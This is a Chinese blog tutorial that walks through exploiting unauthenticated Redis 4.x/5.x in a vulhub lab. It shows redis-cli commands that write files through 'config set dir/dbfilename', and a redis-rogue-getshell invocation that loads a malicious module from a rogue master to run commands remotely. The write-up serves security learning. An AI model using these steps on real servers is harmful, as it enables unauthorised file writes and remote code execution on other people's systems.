当前位置: 首页 > news >正文

Redis未授权访问漏洞实战

文章目录

    • 概述
    • Redis概述
      • Redis 介绍
      • Redis 简单使用
      • Redis未授权漏洞危害
    • 漏洞复现
      • 启动靶场环境
      • POC漏洞验证
      • EXP漏洞利用
    • 总结

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

概述

​ 本文章主要是针对于vulhub靶场中的Redis 4.x/5.x 主从复制导致的命令执行进行复现,部分复现步骤可以参考vulhub靶场,这里我提供了利用POC工具验证的步骤,相比vulhub更加详细简单。

漏洞原理

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

本篇文章需要用到的工具下载地址

POC验证工具:unauthorized_com-main

EXP利用工具:redis-rogue-getshell-master

Redis概述

在复现未授权访问漏洞之前,我们有必要先大致的了解一下Redis是什么,Redis的简单使用与Redis未授权访问漏洞的危害。

Redis 介绍

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis 数据库经常用于Web 应用的缓存。

Redis 可以与文件系统进行交互。

Redis 监听TCP/6379

Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

┌──(root㉿kali)-[~/…/vulhub/vulhub/redis/4-unacc]
└─# redis-cli -h 10.9.75.101
10.9.75.101:6379> set name yuanboss
OK
10.9.75.101:6379> get name
"yuanboss"
10.9.75.101:6379> config set dir /tmp/
OK
10.9.75.101:6379> config set dbfilename yuanboss.txt 
OK
10.9.75.101:6379> save
OK

Redis未授权漏洞危害

image-20230901184319687

漏洞复现

启动靶场环境

前往vulhub的redis/4-unacc目录执行以下命令启动靶场环境

docker-compose up -d

POC漏洞验证

通过我提供的POC验证工具对靶场的IP进行检测,查看是否具有未授权访问漏洞

image-20230901175612226

经过POC验证,存在redis未授权访问漏洞

EXP漏洞利用

通过我提供的EXP利用工具进行利用,由于这个靶场环境中的redis的版本范围是符合是是主从复制的,具有远程代码执行漏洞:

注意-r参数指的是目标的IP地址,-L是本机的IP地址,不要用本机的会换地址或者localhost

python3 redis-master.py -r 10.9.75.101 -p 6379 -L 10.9.75.101 -P 8888 -f RedisModulesSDK/exp.so -c "id" 

image-20230901181259340

可以看到我们利用RCE漏洞成功执行了linux中的 id命令

总结

​ 对于未授权访问漏洞,我们要具有敏锐的嗅觉,未授权访问一般都出现于中间件,比如 zookeeper,docker,redis,wordpress等中间件或者框架,看到这类的中间件或者框架,我们就应该想到是否不需要密码就能访问,这个时候我们就可以直接拿到我们的POC工具进行漏洞验证了,如果发现存在某个漏洞,我们就可以去网上找EXP或者自己编写EXP进行利用。

​ 所以未授权访问漏洞的本质其实就是中间件或者CMS框架没有这种密码,导致我们可以直接连接。

http://www.lryc.cn/news/157114.html

相关文章:

  • 【web开发】2、css基础
  • 循迹小车原理介绍和代码示例
  • redis未授权访问
  • 【数学建模竞赛】优化类赛题常用算法解析
  • Python实现SSA智能麻雀搜索算法优化LightGBM回归模型(LGBMRegressor算法)项目实战
  • OpenCV(二十一):椒盐噪声和高斯噪声的产生
  • 【设计模式】Head First 设计模式——构建器模式 C++实现
  • 基于Python+Django深度学习的身份证识别考勤系统设计与实现
  • Unity控制程序退出
  • C++ using的多种用法
  • Java环境的安装
  • 【ES6】js中的__proto__和prototype
  • 工程项目管理系统源码-简洁+好用+全面-工程项目管理
  • 后端SpringBoot+前端Vue前后端分离的项目(二)
  • 【5】openGL使用宏和函数进行错误检测
  • STM32 CAN快速配置(HAL库版本)
  • 【文末送书】全栈开发流程——后端连接数据源(二)
  • leetcode_27_最小栈
  • 01-ZooKeeper快速入门
  • [经典面试题]JS的typeof和instanceof区别
  • C++内存区堆和栈
  • QT中闹钟的设置
  • 【Redis】几款redis可视化工具(推荐Another Redis Desktop Manager)
  • 肖sir__设计测试用例方法之因果图07_(黑盒测试)
  • 李宏毅-21-hw3:对11种食物进行分类-CNN
  • 成集云 | 飞书审批同步金蝶云星空销售订单 | 解决方案
  • 06 科技英语|控制与优化学科词汇
  • 【网络教程】GitHub搜索技巧大揭秘
  • AUTOSAR LIN: LDF(LIN Description File)文件解析
  • Vue.js 报错:Cannot read property ‘validate‘ of undefined“